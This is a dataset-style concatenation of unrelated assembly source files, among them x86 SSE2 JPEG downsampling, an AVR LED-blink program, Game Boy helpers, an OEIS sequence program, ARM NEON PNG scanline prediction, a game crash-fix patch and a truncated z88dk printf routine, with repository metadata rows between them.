add rsi, byte SIZEOF_JSAMPROW ; input_data
add rdi, byte SIZEOF_JSAMPROW ; output_data
dec rax ; rowctr
jg near .rowloop
.return:
uncollect_args
pop rbp
ret
; --------------------------------------------------------------------------
;
; Downsample pixel values of a single component.
; This version handles the standard case of 2:1 horizontal and 2:1 vertical,
; without smoothing.
;
; GLOBAL(void)
; jsimd_h2v2_downsample_sse2 (JDIMENSION image_width, int max_v_samp_factor,
; JDIMENSION v_samp_factor, JDIMENSION width_blocks,
; JSAMPARRAY input_data, JSAMPARRAY output_data);
;
; r10 = JDIMENSION image_width
; r11 = int max_v_samp_factor
; r12 = JDIMENSION v_samp_factor
; r13 = JDIMENSION width_blocks
; r14 = JSAMPARRAY input_data
; r15 = JSAMPARRAY output_data
align 16
global EXTN(jsimd_h2v2_downsample_sse2)
EXTN(jsimd_h2v2_downsample_sse2):
push rbp
mov rax,rsp
mov rbp,rsp
collect_args
mov rcx, r13
shl rcx,3 ; imul rcx,DCTSIZE (rcx = output_cols)
jz near .return
mov rdx, r10
; -- expand_right_edge
push rcx
shl rcx,1 ; output_cols * 2
sub rcx,rdx
jle short .expand_end
mov rax, r11
test rax,rax
jle short .expand_end
cld
mov rsi, r14 ; input_data
.expandloop:
push rax
push rcx
mov rdi, JSAMPROW [rsi]
add rdi,rdx
mov al, JSAMPLE [rdi-1]
rep stosb
pop rcx
pop rax
add rsi, byte SIZEOF_JSAMPROW
dec rax
jg short .expandloop
.expand_end:
pop rcx ; output_cols
; -- h2v2_downsample
mov rax, r12 ; rowctr
test rax,rax
jle near .return
mov rdx, 0x00020001 ; bias pattern
movd xmm7,edx
pcmpeqw xmm6,xmm6
pshufd xmm7,xmm7,0x00 ; xmm7={1, 2, 1, 2, 1, 2, 1, 2}
psrlw xmm6,BYTE_BIT ; xmm6={0xFF 0x00 0xFF 0x00 ..}
mov rsi, r14 ; input_data
mov rdi, r15 ; output_data
.rowloop:
push rcx
push rdi
push rsi
mov rdx, JSAMPROW [rsi+0*SIZEOF_JSAMPROW] ; inptr0
mov rsi, JSAMPROW [rsi+1*SIZEOF_JSAMPROW] ; inptr1
mov rdi, JSAMPROW [rdi] ; outptr
cmp rcx, byte SIZEOF_XMMWORD
jae short .columnloop
.columnloop_r8:
movdqa xmm0, XMMWORD [rdx+0*SIZEOF_XMMWORD]
movdqa xmm1, XMMWORD [rsi+0*SIZEOF_XMMWORD]
pxor xmm2,xmm2
pxor xmm3,xmm3
mov rcx, SIZEOF_XMMWORD
jmp short .downsample
.columnloop:
movdqa xmm0, XMMWORD [rdx+0*SIZEOF_XMMWORD]
movdqa xmm1, XMMWORD [rsi+0*SIZEOF_XMMWORD]
movdqa xmm2, XMMWORD [rdx+1*SIZEOF_XMMWORD]
movdqa xmm3, XMMWORD [rsi+1*SIZEOF_XMMWORD]
.downsample:
movdqa xmm4,xmm0
movdqa xmm5,xmm1
pand xmm0,xmm6
psrlw xmm4,BYTE_BIT
pand xmm1,xmm6
psrlw xmm5,BYTE_BIT
paddw xmm0,xmm4
paddw xmm1,xmm5
movdqa xmm4,xmm2
movdqa xmm5,xmm3
pand xmm2,xmm6
psrlw xmm4,BYTE_BIT
pand xmm3,xmm6
psrlw xmm5,BYTE_BIT
paddw xmm2,xmm4
paddw xmm3,xmm5
paddw xmm0,xmm1
paddw xmm2,xmm3
paddw xmm0,xmm7
paddw xmm2,xmm7
psrlw xmm0,2
psrlw xmm2,2
packuswb xmm0,xmm2
movdqa XMMWORD [rdi+0*SIZEOF_XMMWORD], xmm0
sub rcx, byte SIZEOF_XMMWORD ; outcol
add rdx, byte 2*SIZEOF_XMMWORD ; inptr0
add rsi, byte 2*SIZEOF_XMMWORD ; inptr1
add rdi, byte 1*SIZEOF_XMMWORD ; outptr
cmp rcx, byte SIZEOF_XMMWORD
jae near .columnloop
test rcx,rcx
jnz near .columnloop_r8
pop rsi
pop rdi
pop rcx
add rsi, byte 2*SIZEOF_JSAMPROW ; input_data
add rdi, byte 1*SIZEOF_JSAMPROW ; output_data
dec rax ; rowctr
jg near .rowloop
.return:
uncollect_args
pop rbp
ret
; For some reason, the OS X linker does not honor the request to align the
; segment unless we do this.
align 16
| 21.296073 | 81 | 0.678394 |
41326fd48ea10fadb6a7ced457df70a932fb627a | 1,244 | asm | Assembly | praks5/yl3.asm | Leonid-98/AVR_ASM | 8495d001ec8cbcf27d26d5d0ae79a991eb7480cb | [
"MIT"
] | null | null | null | praks5/yl3.asm | Leonid-98/AVR_ASM | 8495d001ec8cbcf27d26d5d0ae79a991eb7480cb | [
"MIT"
] | null | null | null | praks5/yl3.asm | Leonid-98/AVR_ASM | 8495d001ec8cbcf27d26d5d0ae79a991eb7480cb | [
"MIT"
] | null | null | null | jmp main
.org 0x22 // Timer/Counter1 Compare Match A
jmp timer_interrupt
.org 0x4C
main:
// Stack init
ldi r16, low(RAMEND)
ldi r17, high(RAMEND)
out SPL, r16
out SPH, r17
// Timer init (PWM, phase and frequency Correct), 1024 prescaler
ldi r16, (1<<WGM10) | (0<<WGM11)
ldi r17, (0<<WGM12) | (1<<WGM13) | (1<<CS12) | (0<<CS11) | (1<<CS10)
ldi r18, 1<<OCIE1A // interrupt en
sts TCCR1A, r16
sts TCCR1B, r17
sts TIMSK1, r18
//turn off JTAG
in r16, MCUCR
ldi r17, (1<<JTD) // JTAG Interface Disable
or r16, r17
out MCUCR, r16 // page 336
out MCUCR, r16
// joystick
.equ joy_mask = (1<<PF4)
ldi r16, 0
ldi r17, joy_mask
out DDRF, r16
out PORTF, r17
sei // global interrupt en
// led
ldi r16, 0xFF
out DDRA, r16
out PORTA, r16
main_loop:
in r21, PINF
andi r21, joy_mask
cpi r21, joy_mask
breq on_press
ldi r20, 0 // blink delay bytes
ldi r21, 128 // blink delay bytes
sts OCR1AH, r20
sts OCR1AL, r21
rjmp main_loop
on_press:
ldi r20, 2 // blink delay bytes
ldi r21, 0 // blink delay bytes
sts OCR1AH, r20
sts OCR1AL, r21
rjmp main_loop
timer_interrupt:
push r16
in r16, SREG
push r16
in r16, PORTA
com r16
out PORTA, r16
pop r16
out SREG, r16
pop r16
reti | 17.041096 | 70 | 0.655949 |
f74d392c91c1090bb4cc8930fece5ede86587984 | 1,116 | asm | Assembly | src/code/functions.asm | Hacktix/gb-tictactoe | d20409c58e4fa4a25ce5f07dbfd51de64d864c3c | [
"MIT"
] | 8 | 2020-09-06T15:50:46.000Z | 2021-09-24T21:54:27.000Z | src/code/functions.asm | Hacktix/gb-tictactoe | d20409c58e4fa4a25ce5f07dbfd51de64d864c3c | [
"MIT"
] | null | null | null | src/code/functions.asm | Hacktix/gb-tictactoe | d20409c58e4fa4a25ce5f07dbfd51de64d864c3c | [
"MIT"
] | 1 | 2021-07-23T14:51:01.000Z | 2021-07-23T14:51:01.000Z | SECTION "Common Functions", ROM0
;==============================================================
; Sets all values in OAM to zero.
;==============================================================
ClearOAM::
ld hl, wShadowOAM
ld b, OAM_COUNT * 4
xor a
.clearOAM
ld [hli], a
dec b
jr nz, .clearOAM
ld a, HIGH(wShadowOAM)
call hOAMDMA
ret
;==============================================================
; Sets all values in VRAM tilemap data to the value in the
; A register.
;==============================================================
ClearTilemaps::
ld hl, $9800
ld bc, $9fff - $9800
ld d, a
.clearTilemaps
ld a, d
ld [hli], a
dec bc
ld a, b
or c
jr nz, .clearTilemaps
ret
;==============================================================
; Plays a sound defined by the data bytes DE points to.
;==============================================================
PlaySound::
; Load sound data into registers
ld hl, rNR10
ld b, 5
.soundLoadLoop
ld a, [de]
ld [hli], a
inc de
dec b
jr nz, .soundLoadLoop
ret | 23.25 | 63 | 0.393369 |
89b4f46f0383e587a30cbbb81c273f2414a4d07d | 711 | asm | Assembly | oeis/001/A001786.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/001/A001786.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/001/A001786.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A001786: Expansion of 1/((1+x)(1-x)^11).
; Submitted by Christian Krause
; 1,10,56,230,771,2232,5776,13672,30086,62292,122464,230252,416394,727672,1233584,2035176,3276559,5159726,7963384,12066626,17978389,26373776,38138464,54422576,76705564,106873832,147313024,201017112,271716644,364028752,483631776,637467632,833975341,1083359442,1397897336,1792289950,2284060471,2894006280,3646709616,4571112920,5701165250,7076546620,8743477600,10755622020,13175091150,16073558280,19533493200,23649526680,28529955675,34298400630,41095626936,49081543290,58437390441,69368134560,82105080256
mov $2,$0
add $2,1
mov $3,$0
lpb $2
mov $0,$3
sub $2,1
sub $0,$2
add $0,10
bin $0,10
mul $4,-1
add $4,$0
lpe
mov $0,$4
| 39.5 | 501 | 0.787623 |
d3e10637205b39e982a8788ef86693f15cf0b87b | 18,991 | asm | Assembly | src/asm/prediction-arm-neon.asm | zimond/parng | 2984549789ded61bb41f1572941aab8f6adb5890 | [
"Apache-2.0",
"MIT"
] | 24 | 2016-02-01T01:48:21.000Z | 2021-07-15T20:12:36.000Z | src/asm/prediction-arm-neon.asm | zimond/parng | 2984549789ded61bb41f1572941aab8f6adb5890 | [
"Apache-2.0",
"MIT"
] | 4 | 2016-05-06T18:06:58.000Z | 2016-08-10T00:17:18.000Z | src/asm/prediction-arm-neon.asm | zimond/parng | 2984549789ded61bb41f1572941aab8f6adb5890 | [
"Apache-2.0",
"MIT"
] | 4 | 2016-05-06T15:38:04.000Z | 2022-02-13T15:49:27.000Z | @ parng/prediction-arm-neon.asm
@
@ Copyright (c) 2016 Mozilla Foundation
.global parng_predict_scanline_none_packed_32bpp
.global parng_predict_scanline_none_strided_32bpp
.global parng_predict_scanline_none_packed_24bpp
.global parng_predict_scanline_none_strided_24bpp
.global parng_predict_scanline_none_packed_16bpp
.global parng_predict_scanline_none_packed_8bpp
.global parng_predict_scanline_left_packed_32bpp
.global parng_predict_scanline_left_strided_32bpp
.global parng_predict_scanline_left_packed_24bpp
.global parng_predict_scanline_left_strided_24bpp
.global parng_predict_scanline_left_packed_16bpp
.global parng_predict_scanline_left_packed_8bpp
.global parng_predict_scanline_up_packed_32bpp
.global parng_predict_scanline_up_strided_32bpp
.global parng_predict_scanline_up_packed_24bpp
.global parng_predict_scanline_up_strided_24bpp
.global parng_predict_scanline_up_packed_16bpp
.global parng_predict_scanline_up_packed_8bpp
.global parng_predict_scanline_average_strided_32bpp
.global parng_predict_scanline_average_strided_24bpp
.global parng_predict_scanline_paeth_strided_32bpp
.global parng_predict_scanline_paeth_strided_24bpp
#define dest r0
#define src r1
#define prev r2
#define length r3
#define stride r4
.text
@ Helper functions to factor out the unsafe memory accesses in one place follow.
.macro prolog
stmfd sp!,{r4-r6}
ldr stride,[sp,#5*4]
.endm
.macro loop_start
prolog
mov r5,#0
1:
.endm
.macro loop_end dest_stride, src_stride
add r5,r5,#\dest_stride
add r6,r6,#\src_stride
cmp r5,length
blo 1b
.endm
.macro loop_end_stride stride
add r5,r5,#\stride
cmp r5,length
blo 1b
.endm
.macro epilog
ldmfd sp!,{r4-r6,pc}
.endm
@ We factor out this safe pattern for the benefit of the static analysis, which would interpret
@ `[0]` as an unsafe memory access.
.macro move_neon_byte_to_register dest,src
vmov.u8 \dest,\src[0]
.endm
@ #begin-safe-code
@ load_8bpp_to_32bpp_table_lookup_mask(r32 dest_hi, r32 dest_lo)
@
@ Register clobbers: r7
.macro load_8bpp_to_32bpp_table_lookup_mask dest_hi, dest_lo
ldr r7,=0x01010101
vmov.u8 \dest_hi,r7
mov r7,#0
vmov.u8 \dest_lo,r7
.endm
@ load_16bpp_to_32bpp_table_lookup_mask(r32 dest_hi, r32 dest_lo)
@
@ Register clobbers: r7
.macro load_16bpp_to_32bpp_table_lookup_mask dest_hi, dest_lo
ldr r7,=0xffff0302
vmov.u8 \dest_hi,r7
ldr r7,=0xffff0100
vmov.u8 \dest_lo,r7
.endm
@ load_24bpp_to_32bpp_table_lookup_mask(r32 dest_hi, r32 dest_lo)
@
@ Register clobbers: r7
.macro load_24bpp_to_32bpp_table_lookup_mask dest_hi, dest_lo
ldr r7,=0xff050403
vmov.u8 \dest_hi,r7
ldr r7,=0xff020100
vmov.u8 \dest_lo,r7
.endm
@ load_32bpp_opaque_alpha_mask(r32 dest_hi, r32 dest_lo)
@
@ Register clobbers: r7
.macro load_32bpp_opaque_alpha_mask dest_hi, dest_lo
mov r7,#0xff000000
vmov.u8 \dest_hi,r7
vmov.u8 \dest_lo,r7
.endm
@ parng_predict_scanline_none_packed_32bpp(uint8x4 *dest,
@ uint8x4 *src,
@ uint8x4 *prev,
@ uint32_t length,
@ uint32_t stride)
parng_predict_scanline_none_packed_32bpp:
prolog
loop_start
vldr d0,[src]
vstr d0,[dest]
loop_end 8,8
epilog
@ parng_predict_scanline_none_strided_32bpp(uint8x4 *dest,
@ uint8x4 *src,
@ uint8x4 *prev,
@ uint32_t length,
@ uint32_t stride)
parng_predict_scanline_none_strided_32bpp:
prolog
loop_start
ldr r7,[src]
str r7,[src]
loop_end_stride 4
epilog
@ parng_predict_scanline_none_packed_24bpp(uint8x4 *dest,
@ uint8x4 *src,
@ uint8x4 *prev,
@ uint32_t length,
@ uint32_t stride)
parng_predict_scanline_none_packed_24bpp:
prolog
loop_start
load_24bpp_to_32bpp_table_lookup_mask s3,s2
vldr d0,[src]
vtbl.8 d0,{d2,d3},d0
vstr d0,[dest]
loop_end 8,6
epilog
@ parng_predict_scanline_none_strided_24bpp(uint8x4 *dest,
@ uint8x4 *src,
@ uint8x4 *prev,
@ uint32_t length,
@ uint32_t stride)
parng_predict_scanline_none_strided_24bpp:
prolog
loop_start
ldr r7,[src]
bic r7,#0xff000000
str r7,[dest]
loop_end_stride 4
epilog
@ parng_predict_scanline_none_packed_16bpp(uint8x4 *dest,
@ uint8x4 *src,
@ uint8x4 *prev,
@ uint32_t length,
@ uint32_t stride)
parng_predict_scanline_none_packed_16bpp:
prolog
load_16bpp_to_32bpp_table_lookup_mask s3,s2
loop_start
vldr d0,[src]
vtbl.8 d0,{d1},d0
vstr d0,[dest]
loop_end 8,4
epilog
@ parng_predict_scanline_none_packed_8bpp(uint8x4 *dest,
@ uint8x4 *src,
@ uint8x4 *prev,
@ uint32_t length,
@ uint32_t stride)
parng_predict_scanline_none_packed_8bpp:
prolog
load_8bpp_to_32bpp_table_lookup_mask s3,s2
loop_start
vld1.16 {d0},[src]
vtbl.8 d0,{d1},d0
vst1.32 {d0},[dest]
loop_end 8,2
epilog
@ predict_pixels_left_4()
@
@ Register inputs: {d0,d1} = [ 0, 0, 0, z ]
@ {d2,d3} = src
@ {d4,d5} = [ 0, 0, 0, 0 ]
@ Register outputs: {d2-d3} = result
@ Register clobbers: None
.macro predict_pixels_left_4
vzip.32 q1,q2 @ d5 = [ 0, d ], d4 = [ 0, c ], d3 = [ 0, b ], d2 = [ 0, a ]
vadd.u8 q1,q1,q2 @ d5 = [ 0, b+d ], d4 = [ 0, a+c ], d3 = [ 0, b ], d2 = [ 0, a ]
vadd.u8 d2,d1,d2 @ d2 = [ 0, a+z ]
vadd.u8 d3,d2,d3 @ d3 = [ 0, a+b+z ]
vadd.u8 d4,d3,d4 @ d4 = [ 0, a+b+c+z ]
vadd.u8 d5,d4,d5 @ d5 = [ 0, a+b+c+d+z ]
vuzp.32 q1,q2 @ d5 = d4 = [ 0 ], d3 = [ a+b+c+d+z, a+b+c+z ], d2 = [ a+b+z, a+z ]
vsri.64 d1,d3,#32 @ d1 = [ 0, a+b+c+d+z ]
.endm
@ predict_pixels_left_2()
@
@ Register inputs: d0 = [ 0, z ]
@ d1 = src
@ d2 = [ 0, 0 ]
@ Register outputs: d1 = result
@ Register clobbers: None
.macro predict_pixels_left_2
vzip.32 d1,d2 @ d2 = [ 0, b ], d1 = [ 0, a ]
vadd.u8 d1,d1,d0 @ d2 = [ 0, b ], d1 = [ 0, a+z ]
vadd.u8 d2,d1,d2 @ d2 = [ 0, a+b+z ], d1 = [ 0, a+z ]
vuzp.32 d1,d2 @ d2 = [ 0 ], d1 = [ a+b+z, a+z ]
vsri.32 d0,d1,#32 @ d0 = [ 0, a+b+z ]
.endm
@ parng_predict_scanline_left_packed_32bpp(uint8x4 *dest,
@ uint8x4 *src,
@ uint8x4 *prev,
@ uint32_t length,
@ uint32_t stride)
parng_predict_scanline_left_packed_32bpp:
prolog
veor.u8 q0,q0,q0
veor.u8 q2,q2,q2
loop_start
predict_pixels_left_4
loop_end 16,16
epilog
@ parng_predict_scanline_left_strided_32bpp(uint8x4 *dest,
@ uint8x4 *src,
@ uint8x4 *prev,
@ uint32_t length,
@ uint32_t stride)
parng_predict_scanline_left_strided_32bpp:
prolog
veor.u8 d0,d0,d0
loop_start
vld1.32 {d1},[src]
vadd.u8 d0,d0,d1
vst1.32 {d0},[dest]
loop_end_stride 4
epilog
@ parng_predict_scanline_left_packed_24bpp(uint8x4 *dest,
@ uint8x3 *src,
@ uint8x4 *prev,
@ uint32_t length,
@ uint32_t stride)
parng_predict_scanline_left_packed_24bpp:
prolog
load_24bpp_to_32bpp_table_lookup_mask s7,s6
load_32bpp_opaque_alpha_mask s9,s8
veor.u8 d0,d0,d0 @ d0 = [ 0 ]
loop_start
vldr d1,[src] @ d1 = src (24bpp)
vtbl.8 d1,{d3},d1 @ d1 = [ b, a ]
predict_pixels_left_2
vorr.u8 d1,d4,d1 @ d1 = result with alpha == 0xff
vstr d1,[dest] @ write pixels
loop_end 8,6
epilog
@ parng_predict_scanline_left_strided_24bpp(uint8x4 *dest,
@ uint8x3 *src,
@ uint8x4 *prev,
@ uint32_t length,
@ uint32_t stride)
@
@ TODO(pcwalton): This could save a cycle or two by leaving 0xff somewhere in d1 and having the
@ mask fetch it.
parng_predict_scanline_left_strided_24bpp:
prolog
load_24bpp_to_32bpp_table_lookup_mask s7,s6
load_32bpp_opaque_alpha_mask s9,s8
veor.u8 d0,d0,d0 @ d0 = [ 0 ]
loop_start
vld1.32 {d1},[src] @ d1 = src (24bpp)
vtbl.8 d1,{d3},d1 @ d1 = src (32bpp)
vadd.u8 d0,d0,d1 @ d0 = result
vorr.u8 d0,d0,d4 @ d0 = result with alpha == 0xff
vst1.32 {d0},[dest]
loop_end_stride 4
epilog
@ parng_predict_scanline_left_packed_16bpp(uint8x4 *dest,
@ uint8x3 *src,
@ uint8x4 *prev,
@ uint32_t length,
@ uint32_t stride)
parng_predict_scanline_left_packed_16bpp:
prolog
load_16bpp_to_32bpp_table_lookup_mask s15,s14
veor.u8 q0,q0,q0 @ d1 = [ 0 ], d0 = [ 0 ]
veor.u8 d2,d2,d2 @ d2 = [ 0 ]
loop_start
vld1.32 {d0},[src] @ d0 = src (16bpp)
vtbl.8 d0,{d7},d0 @ d0 = [ 0, 0, b, a ]
predict_pixels_left_2
vstr d1,[dest]
loop_end 8,4
epilog
@ parng_predict_scanline_left_packed_8bpp(uint8x4 *dest,
@ uint8x3 *src,
@ uint8x4 *prev,
@ uint32_t length,
@ uint32_t stride)
parng_predict_scanline_left_packed_8bpp:
prolog
load_8bpp_to_32bpp_table_lookup_mask s15,s14
veor.u8 q0,q0,q0 @ d1 = [ 0 ], d0 = [ 0 ]
veor.u8 d2,d2,d2 @ d2 = [ 0 ]
loop_start
vld1.16 d1,[src] @ d1 = src (8bpp)
vtbl.8 d1,{d7},d1 @ d1 = [ 0, 0, b, a ]
predict_pixels_left_2
vstr d1,[dest]
loop_end 8,2
epilog
@ parng_predict_scanline_up_packed_32bpp(uint8x4 *dest,
@ uint8x4 *src,
@ uint8x4 *prev,
@ uint32_t length,
@ uint32_t stride)
parng_predict_scanline_up_packed_32bpp:
prolog
loop_start
vldr d0,[src]
vldr d1,[prev]
vadd.u8 d0,d0,d1
vstr d0,[dest]
loop_end 8,8
epilog
@ parng_predict_scanline_up_strided_32bpp(uint8x4 *dest,
@ uint8x4 *src,
@ uint8x4 *prev,
@ uint32_t length,
@ uint32_t stride)
parng_predict_scanline_up_strided_32bpp:
prolog
loop_start
vld1.32 {d0},[prev]
vld1.32 {d1},[src]
vadd.u8 d0,d0,d1
vst1.32 {d0},[dest]
loop_end_stride 4
epilog
@ parng_predict_scanline_up_packed_24bpp(uint8x4 *dest,
@ uint8x3 *src,
@ uint8x4 *prev,
@ uint32_t length,
@ uint32_t stride)
@
@ There is no need to make the alpha opaque here as long as the previous scanline had opaque alpha.
parng_predict_scanline_up_packed_24bpp:
prolog
load_24bpp_to_32bpp_table_lookup_mask s15,s14
loop_start
vldr d0,[prev] @ d0 = prev
vldr d1,[src] @ d1 = src (24bpp)
vtbl.8 d1,{d7},d1 @ d1 = src (32bpp)
vadd.u8 d0,d0,d1 @ d0 = prev + src
vstr d0,[dest] @ write result
loop_end 8,6
epilog
@ parng_predict_scanline_up_strided_24bpp(uint8x4 *dest,
@ uint8x3 *src,
@ uint8x4 *prev,
@ uint32_t length,
@ uint32_t stride)
@
@ There is no need to make the alpha opaque here as long as the previous scanline had opaque alpha.
parng_predict_scanline_up_strided_24bpp:
prolog
load_24bpp_to_32bpp_table_lookup_mask s15,s14
loop_start
vld1.32 {d0},[prev] @ d0 = prev
vld1.32 {d1},[src] @ d1 = src
vadd.u8 d0,d0,d1 @ d1 = prev + src (24bpp)
vtbl.8 d0,{d7},d1 @ d0 = prev + src (32bpp)
vst1.32 {d0},[dest] @ write result
loop_end_stride 3
epilog
@ parng_predict_scanline_up_packed_16bpp(uint8x4 *dest,
@ uint8x2 *src,
@ uint8x4 *prev,
@ uint32_t length,
@ uint32_t stride)
parng_predict_scanline_up_packed_16bpp:
prolog
load_16bpp_to_32bpp_table_lookup_mask s15,s14
loop_start
vld1.32 {d0},[prev] @ d0 = prev
vld1.32 {d1},[src] @ d1 = src (16bpp)
vtbl.8 d1,{d7},d1 @ d1 = src (32bpp)
vadd.u8 d0,d0,d1 @ d0 = prev + src
vstr d0,[dest]
loop_end 8,4
epilog
@ parng_predict_scanline_up_packed_8bpp(uint8x4 *dest,
@ uint8 *src,
@ uint8x4 *prev,
@ uint32_t length,
@ uint32_t stride)
parng_predict_scanline_up_packed_8bpp:
prolog
load_8bpp_to_32bpp_table_lookup_mask s15,s14
loop_start
vldr d0,[prev] @ d0 = prev
vld1.16 d1,[src] @ d1 = src (8bpp)
vtbl.8 d0,{d7},d0 @ d1 = src (32bpp)
vadd.u8 d0,d0,d1 @ d0 = prev + src
vstr d0,[dest] @ write result
loop_end 8,2
epilog
@ parng_predict_scanline_average_strided_32bpp(uint8x4 *dest,
@ uint8x4 *src,
@ uint8x4 *prev,
@ uint32_t length,
@ uint32_t stride)
parng_predict_scanline_average_strided_32bpp:
prolog
veor.u8 d0,d0,d0 @ d0 = [ 0 ]
loop_start
vld1.32 {d1},[prev] @ d1 = prev
vhadd.u8 d0,d0,d1 @ d1 = avg(a, b)
vld1.32 {d1},[src] @ d1 = src
vadd.u8 d0,d0,d1 @ d0 = src + avg(a, b)
vst1.32 {d0},[dest]
loop_end_stride 4
epilog
@ parng_predict_scanline_average_strided_24bpp(uint8x4 *dest,
@ uint8x3 *src,
@ uint8x4 *prev,
@ uint32_t length,
@ uint32_t stride)
@
@ There is no need to make the alpha opaque here as long as the previous scanline had opaque alpha.
parng_predict_scanline_average_strided_24bpp:
prolog
vmov.i32 d2,#0xff000000 @ d2 = 0xff000000
loop_start
vld1.32 {d1},[prev] @ d1 = prev
vhadd.u8 d0,d0,d1 @ d1 = avg(a, b)
vld1.32 {d1},[src] @ d1 = src
vorr.u8 d1,d1,d2 @ d1 = src (opaque alpha)
vadd.u8 d0,d0,d1 @ d0 = src + avg(a, b)
vst1.32 {d0},[dest]
loop_end_stride 3
epilog
@ Register inputs: d0 = a, d1 = prev (8-bit), d2 = c, d3 = 0
@ Register outputs: d0 = dest (new a), d2 = b (new c)
@ Register clobbers: d4, d5, d6, d7
.macro predict_pixels_paeth
vzip.8 d1,d3 @ d1 = b (16-bit)@ d3 = 0
vsub.s16 d4,d2,d1 @ d4 = c - b = ±pa
vsub.s16 d5,d0,d2 @ d5 = a - c = ±pb
vabd.s16 d6,d5,d4 @ d6 = |a - c - c + b| = |a + b - 2c| = pc
vabs.s16 q2,q2 @ d4 = pa, d5 = pb
vmin.s16 d7,d4,d5 @ d7 = min(pa, pb)
vcgt.s16 d4,d4,d5 @ d4 = pa > pb = ¬(pa ≤ pb)
vcgt.s16 d7,d7,d6 @ d7 = min(pa, pb) > pc = ¬(pa ≤ pc) ∧ ¬(pb ≤ pc)
vbic.u16 d5,d0,d4 @ d5 = a if pa ≤ pb
vand.u16 d4,d4,d1 @ d4 = b if ¬(pa ≤ pb)
vorr.u16 d4,d4,d7 @ d4 = ¬(pa ≤ pc) ∧ ¬(pb ≤ pc) ? TRUE : ¬(pa ≤ pb) ? b : FALSE
vorr.u16 d5,d5,d4 @ d5 = ¬(pa ≤ pc) ∧ ¬(pb ≤ pc) ? TRUE : pa ≤ pb ? a : b
vand.u16 d4,d4,d2 @ d7 = ¬(pa ≤ pc) ∧ ¬(pb ≤ pc) ? c : ¬(pa ≤ pb) ? undef : FALSE
vmax.s16 d4,d5,d4 @ d4 = ¬(pa ≤ pc) ∧ ¬(pb ≤ pc) ? c : (pa ≤ pb) ∧ (pa ≤ pc) ? a : b
vld1.32 {d0},[src] @ d0 = original pixel (8-bit)
vzip.8 d0,d3 @ d0 = original pixel (16-bit)@ d3 = 0
vadd.u8 d0,d4 @ d0 = next a = output pixel
vmov.u16 d4,d0 @ d4 = output pixel (16-bit)
vuzp.8 d0,d3 @ d0 = output pixel (8-bit)@ d3 = 0
vmov.u16 d2,d1 @ c = b
.endm
@ parng_predict_scanline_paeth_strided_32bpp(uint8x4 *dest,
@ uint8x4 *src,
@ uint8x4 *prev,
@ uint32_t length,
@ uint32_t stride)
parng_predict_scanline_paeth_strided_32bpp:
prolog
veor.u8 d0,d0,d0 @ d0 = [ 0 ]
vmov.u8 d2,d0 @ d2 = [ 0 ]
vmov.u8 d3,d0 @ d3 = [ 0 ]
loop_start
vld1.32 {d1},[prev] @ d1 = prev (8-bit)
predict_pixels_paeth @ d0 = result
vst1.32 {d0},[dest] @ write result
loop_end_stride 4
epilog
@ parng_predict_scanline_paeth_strided_24bpp(uint8x4 *dest,
@ uint8x3 *src,
@ uint8x4 *prev,
@ uint32_t length,
@ uint32_t stride)
parng_predict_scanline_paeth_strided_24bpp:
prolog
veor.u8 d0,d0,d0 @ d0 = [ 0 ]
vmov.u8 d2,d0 @ d2 = [ 0 ]
vmov.u8 d3,d0 @ d3 = [ 0 ]
loop_start
vld1.32 {d1},[prev] @ d1 = prev (8-bit)
predict_pixels_paeth @ d0 = result
move_neon_byte_to_register r7,d0
orr r7,r7,#0xff000000
str r7,[dest] @ write result
loop_end_stride 3
epilog
| 35.299257 | 99 | 0.523353 |
351233cb1825549ee41fccc37584c29b7e7d1fe8 | 649 | asm | Assembly | src/minimap_crash.asm | mvdhout1992/ts-patches | a426970abeb6993eea6703d1a756fd74489ffed2 | [
"MIT"
] | 33 | 2016-07-30T14:17:28.000Z | 2021-12-19T15:45:19.000Z | src/minimap_crash.asm | A-Productions/ts-patches | 326db731f7226d9e803feab475777c730688634e | [
"MIT"
] | 73 | 2018-08-17T00:25:19.000Z | 2021-05-10T08:31:15.000Z | src/minimap_crash.asm | A-Productions/ts-patches | 326db731f7226d9e803feab475777c730688634e | [
"MIT"
] | 18 | 2017-05-16T11:28:06.000Z | 2022-03-20T20:41:03.000Z | ; Minimap crash because of stale pointer
; For some yet unknown reason, infantry sometimes enters harvesters. When this
; happens, the infantry is removed from the map, unlinking itself from the
; radar. Before being destroyed, it might be added back again, but it's not
; removed when actually destroyed later on. This fixes only the symptom.
; Author: AlexB
; Date: 2016-07-21
%include "macros/patch.inc"
%include "macros/hack.inc"
section .text
hack 0x0063A440
_MinimapCrash:
mov al, [esi+2Fh]; ObjectClass::InLimbo
test al, al
jz .Ok
xor bl, bl
.Ok:
mov al, [esi+207h]; TechnoClass::IsRadarTracked
jmp 0x0063A446
| 24.961538 | 78 | 0.728814 |
4994d11eb2b58e6be75b1eb3ab789420dca33e60 | 2,181 | asm | Assembly | libsrc/_DEVELOPMENT/stdio/z80/output_helpers/__stdio_printf_e.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/stdio/z80/output_helpers/__stdio_printf_e.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/stdio/z80/output_helpers/__stdio_printf_e.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null |
SECTION code_stdio
PUBLIC __stdio_printf_e
EXTERN __dtoe__, __stdio_printf_float_tail
__stdio_printf_e:
; %e, %E converter called from vfprintf()
;
; enter : ix = FILE *
; hl = void *stack_param
; de = void *buffer_digits
; hl'= current output tally
; stack = buffer_digits, width, precision
;
; exit : carry set if stream error
;
; NOTE: (buffer_digits - 3) points at buffer space of three free bytes
; snprintf requires bc',de' to be preserved
pop bc ; bc = precision
ex (sp),hl ; hl = width
exx
ex (sp),hl ; save tally, hl = stack_param *
push de ; save snprintf variable
push bc ; save snprintf variable
ex de,hl
ld hl,-65
add hl,sp
ld sp,hl
ex de,hl
push ix
IF __SDCC | __SDCC_IX | SDCC_IY
